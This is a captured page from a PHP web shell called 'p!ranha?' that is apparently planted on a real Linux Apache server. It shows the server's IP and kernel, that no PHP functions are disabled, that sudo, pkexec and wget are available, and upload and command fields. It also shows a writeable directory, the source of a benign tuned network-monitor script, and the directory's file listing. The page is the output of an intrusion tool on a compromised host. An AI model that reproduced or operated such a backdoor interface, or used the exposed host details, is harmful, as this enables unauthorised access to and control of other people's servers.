p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.216.202
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/tuned/monitors/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/python2.7/site-packages/tuned/monitors/monitor_net.py
import tuned.monitors
import os
import re
from tuned.utils.nettool import ethcard

class NetMonitor(tuned.monitors.Monitor):

	@classmethod
	def _init_available_devices(cls):
		available = []
		for root, dirs, files in os.walk("/sys/devices"):
			if root.endswith("/net") and not root.endswith("/virtual/net"):
				available += dirs
		
		cls._available_devices = set(available)

		for dev in available:
			#max_speed = cls._calcspeed(ethcard(dev).get_max_speed())
			cls._load[dev] = ['0', '0', '0', '0']

	@classmethod
	def _calcspeed(cls, speed):
		# 0.6 is just a magical constant (empirical value): Typical workload on netcard won't exceed
		# that and if it does, then the code is smart enough to adapt it.
		# 1024 * 1024 as for MB -> B
		# speed / 8  Mb -> MB
		return (int) (0.6 * 1024 * 1024 * speed / 8)

	@classmethod
	def _updateStat(cls, dev):
		files = ["rx_bytes", "rx_packets", "tx_bytes", "tx_packets"]
		for i,f in enumerate(files):
			with open("/sys/class/net/" + dev + "/statistics/" + f) as statfile:
				cls._load[dev][i] = statfile.read().strip()

	@classmethod
	def update(cls):
		for device in cls._updating_devices:
			cls._updateStat(device)

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:53:14
0 / 0
0755
__init__.py
0.045 KB
March 21 2019 22:10:46
0 / 0
0644
__init__.pyc
0.203 KB
September 21 2022 13:17:58
0 / 0
0644
__init__.pyo
0.203 KB
September 21 2022 13:17:58
0 / 0
0644
base.py
2.854 KB
March 21 2019 22:10:46
0 / 0
0644
base.pyc
5.197 KB
September 21 2022 13:17:58
0 / 0
0644
base.pyo
4.99 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_disk.py
0.865 KB
March 21 2019 22:10:46
0 / 0
0644
monitor_disk.pyc
1.888 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_disk.pyo
1.888 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_load.py
0.299 KB
March 21 2019 22:10:46
0 / 0
0644
monitor_load.pyc
1.011 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_load.pyo
1.011 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_net.py
1.144 KB
March 21 2019 22:10:46
0 / 0
0644
monitor_net.pyc
1.963 KB
September 21 2022 13:17:58
0 / 0
0644
monitor_net.pyo
1.963 KB
September 21 2022 13:17:58
0 / 0
0644
repository.py
0.812 KB
March 21 2019 22:10:46
0 / 0
0644
repository.pyc
1.922 KB
September 21 2022 13:17:58
0 / 0
0644
repository.pyo
1.858 KB
September 21 2022 13:17:58
0 / 0
0644